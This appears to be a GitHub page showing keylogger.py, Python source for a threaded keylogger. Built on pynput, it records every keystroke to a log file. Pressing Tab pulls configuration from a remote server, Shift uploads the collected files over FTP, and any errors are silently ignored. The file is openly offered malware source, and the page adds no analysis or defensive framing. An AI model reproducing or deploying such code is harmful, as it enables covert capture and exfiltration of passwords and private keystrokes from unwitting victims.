-
Notifications
You must be signed in to change notification settings - Fork 11
Expand file tree
/
Copy pathkeylogger.py
More file actions
33 lines (24 loc) · 874 Bytes
/
Copy pathkeylogger.py
File metadata and controls
33 lines (24 loc) · 874 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import shutil
from pynput.keyboard import Key, Listener
from threading import Thread
from Util import Util
class Keylogger(Thread):
def __init__(self, config, communication):
Thread.__init__(self, name='keylogging')
self.__config = config
self.__communication = communication
def onPress(self, key):
if self.__config.debug:
print(key, end='')
try:
if key == Key.tab:
self.__communication.getConfigFromServer()
elif key == Key.shift:
self.__communication.uploadFilesFTP()
except Exception:
pass
Util.fileOut(self.__config.logPath + self.__config.logFileName, key)
def run(self):
with Listener(on_press=self.onPress) as listener:
if self.__config.keyloggingIsActive:
listener.join()